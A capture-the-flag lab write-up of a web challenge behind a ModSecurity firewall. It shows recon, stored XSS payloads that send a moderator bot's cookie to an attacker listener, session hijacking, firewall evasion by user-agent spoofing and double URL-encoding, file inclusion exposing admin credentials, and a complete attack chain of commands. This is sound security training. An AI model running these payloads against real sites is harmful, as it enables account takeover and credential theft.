Not starting with Nmap. This challenge lands at the end of a heavy firewall exploitation series, so we kick things off with a curl:

┌──(jenn㉿local)-[~]
└─$ curl -I 10.145.143.71
curl -I returning 403 with Apache/2.4.58 and ETag b38

The 403 is a strong firewall indicator. Server is Apache/2.4.58. The ETag starting with b38 tells us it is either an nginx or AWS firewall. b38 is also hexadecimal for 2872, which matches the Content-Length. Classic web firewall.

Next, two Nmap scans:

┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV -T4 -A 10.145.143.71
┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.143.71

Key findings from the vuln scan:

nmap vuln scan output showing open ports and directory findings nmap vuln scan continued showing PHPSESSID httponly flag not set

Open Ports:

  • Port 22
  • Port 80

Key Findings:

  • PHPSESSID: httponly flag not set on both the TLD and /login.php: cookie thievery is an option
  • Directories discovered: /register.php, /index.php, /login.php, /logs, /config, /css, /js

Let’s fingerprint this firewall with wafw00f:

┌──(jenn㉿local)-[~]
└─$ wafw00f http://10.145.143.71
wafw00f output confirming WAF presence

Good boy, wafw00f.
WAF status = beyond confirmed.

Thanks to this heavy-hitter of a firewall, we are not getting many details. Before we fully dive in, let’s put on a disguise and see if we can get less guarded information:

┌──(jenn㉿local)-[~]
└─$ curl -s -H "User-Agent: Mozilla/5.0" http://10.145.143.71
curl with Mozilla user agent returning HTML source part 1 curl with Mozilla user agent HTML source part 2 showing registration form

All signs are starting to point to XSS as the initial exploit. Let’s visit the site in-browser.

site in browser showing landing page with registration link

As promised, there’s a form at /register.php. Let’s make an account and catch the request in Burp.

register.php form in browser

Registration crafted. FoxyProxy set to Burp, Intercept on. I’ll go ahead and click Submit:

Burp intercept of registration POST request showing plaintext password

First: passwords are captured in plaintext (hence, the redacting).

Second: we are dealing with a moderator bot.

response confirming a moderator bot reviews registrations

Excellent news.


Stored XSS

If the hunch is correct, we can craft an XSS payload that the moderator bot will pick up when it “reviews” the registration request. We may need to do some recon on what rules control the firewall first. Case sensitivity, whitespace deobfuscation, template bypass. We will find out.

Set up a Python listener:

┌──(jenn㉿local)-[~]
└─$ python3 -m http.server 8888

First payload attempt, bypassing the firewall via mixed-case letters and whitespace deobfuscation:

<body onload="new Image().src='http://192.168.128.19:8888?c='+document['cOOkiE'];">
Python listener catching the first XSS payload hit

The listener caught it, but the approach was a little too rogue. Too much case alternation and too many obfuscation tricks on document and cookie at once tripped the filter beyond parsing. The good news: the bot will 100% pick up the message.

listener output showing the bot response with partial cookie data

Tone the string concatenation down a bit:

<body onload="new Image().src='http://192.168.128.19:8888?c='+document['coo' + 'kie'];">

Nailed it.

listener capturing full stolen cookie from moderator bot

With the httponly flag not set, we take the stolen cookie and swap it out:

Inspect Site > Storage Tab > replace the “Value” with the stolen cookie > reload.

DevTools Storage tab with cookie value being replaced by stolen moderator cookie

I’ll call you Harold because my name is “MOD.”

I am sure very few will get that joke, but for the few that do, you are my people.

logged in as moderator after cookie swap

Mod password updated for persistence.

moderator dashboard showing password update confirmation

Escalation to Admin

Now we need to climb up one level to admin. Well, fairly certain it is one level. Assumptions can be dangerous.

From initial enumeration, the most promising remaining directories are /config and /logs. To enumerate further without getting firewalled, we put the Mozilla disguise back on:

┌──(jenn㉿local)-[~]
└─$ gobuster dir -u http://10.145.143.71/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -a "Mozilla/5.0" -x php,txt,conf,log -t 50

That -a flag is critical to evade the firewall.

While gobuster runs, something stands out: App.conf has the same byte size as the ETag from our initial curl.

gobuster output showing App.conf with byte size matching ETag from initial curl

Let’s personally thank my trauma for bringing attention to the tiniest details.

ETag values frequently correspond to inode number or file size depending on the server config. With the identical byte size, it is very likely that App.conf is the file served at the root in the initial curl. In other words: the web root may have been referencing or serving App.conf, which could contain credentials, firewall rules, or other delightful config data.

Let’s curl again, in disguise:

┌──(jenn㉿local)-[~]
└─$ curl -A "Mozilla/5.0" http://10.145.143.71/config/App.conf

Ummm….

curl on App.conf returning 403 blocked by WAF part 1 curl on App.conf blocked by WAF part 2

Blocked. It is like when there is a note next to a button that says “Don’t push the button.”

I am going to push the darn button.

Running gobuster directly on /config/ to get a more detailed map:

┌──(jenn㉿local)-[~]
└─$ gobuster dir -u http://10.145.143.71/config/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -a "Mozilla/5.0" -x php,txt,conf,log -t 50

The firewall is universally blocking .conf files, as evidenced by the 2872 bytes matching the initial curl -I.

gobuster on /config/ showing all .conf requests returning 403 with 2872 bytes

Let’s take more of an interest in /logs:

curl -A "Mozilla/5.0" http://10.145.143.71/logs/

This already feels like a path of least resistance.

curl on /logs/ returning directory listing with error.log
curl -A "Mozilla/5.0" http://10.145.143.71/logs/error.log
curl on error.log returning Apache error log contents

Aha! Let me zoom in for you…

zoomed error.log showing admin_info path and ModSecurity WAF blocking .conf files

We just found where admin_info lives. Also found: the WAF is ModSecurity, blocking .conf files and flagging encoded payloads.

Time for full-metal Jenn.

Direct path attempt, double slash:

curl -A "Mozilla/5.0" http://10.145.143.71//config/app.conf

Blocked. Escalating through encoding. ModSecurity decodes URL-encoded paths once before applying its rules, so single encoding still gets caught. Double encoding survives the first decode pass.

Single encoding:

curl -A "Mozilla/5.0" http://10.145.143.71/%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66

Double encoding:

curl -A "Mozilla/5.0" http://10.145.143.71/%2563%256f%256e%2566%2569%2567%252f%2561%2570%2570%252e%2563%256f%256e%2566

Every single character double encoded:

curl -A "Mozilla/5.0" http://10.145.143.71/%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%36%33%25%36%66%25%36%65%25%36%36

I am now unleashed. Add in the mod session cookie:

curl -s "http://10.145.143.71/live.php?page=%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Cookie: PHPSESSID=eoi7i7ne0p4qi39l2aqumt16b9e"
LFI via live.php with URL-encoded path returning config file contents

HA!

App.conf contents showing admin credentials in plaintext

Log in as admin:

curl -s -X POST "http://10.145.143.71/login.php" \
  -H "User-Agent: Mozilla/5.0" \
  -d "username=admin&password=bL}8,S9W1o44" \
  -c /tmp/admin.txt
cat /tmp/admin.txt
curl POST to login.php as admin saving session cookie to /tmp/admin.txt

Repeat the cookie swap process with admin’s session cookie.

Dev Tools > Storage Tab > swap cookies (that sounds so bad when I say it in my head…).

DevTools Storage tab with admin session cookie being swapped in

Hit refresh. It logged out immediately after the swap. (In Mortal Kombat): “FINISH HIM”

┌──(jenn㉿local)-[~]
└─$ curl -s "http://10.145.143.71/dashboard.php" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Cookie: PHPSESSID=fu13sm4ahhflf7hhcvu2933fe8"
dashboard.php response showing moderator and admin flags

Moderator flag: THM{Logged_1n_Moderat0r}

Admin flag: THM{Logged_1n_Adm1n001}


Full Attack Chain

# Initial recon
curl -I 10.145.143.71
nmap -sS -Pn -sC -sV -T4 -A 10.145.143.71
nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.143.71
wafw00f http://10.145.143.71

# Disguised enumeration
curl -s -H "User-Agent: Mozilla/5.0" http://10.145.143.71
gobuster dir -u http://10.145.143.71/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -a "Mozilla/5.0" -x php,txt,conf,log -t 50

# Stored XSS -- cookie theft via split string concatenation
# Python listener
python3 -m http.server 8888
# Payload injected via registration form:
# <body onload="new Image().src='http://ATTACKER_IP:8888?c='+document['coo' + 'kie'];">

# Swap stolen cookie in DevTools > Storage tab

# Persistence -- change mod password via dashboard

# Directory enumeration under /config/
gobuster dir -u http://10.145.143.71/config/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -a "Mozilla/5.0" -x php,txt,conf,log -t 50

# Log disclosure
curl -A "Mozilla/5.0" http://10.145.143.71/logs/
curl -A "Mozilla/5.0" http://10.145.143.71/logs/error.log

# LFI via live.php with URL-encoded path + mod session cookie
curl -s "http://10.145.143.71/live.php?page=%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Cookie: PHPSESSID=MOD_SESSION_ID"

# Admin login
curl -s -X POST "http://10.145.143.71/login.php" \
  -H "User-Agent: Mozilla/5.0" \
  -d "username=admin&password=bL}8,S9W1o44" \
  -c /tmp/admin.txt

# Access dashboard with admin session cookie
curl -s "http://10.145.143.71/dashboard.php" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Cookie: PHPSESSID=ADMIN_SESSION_ID"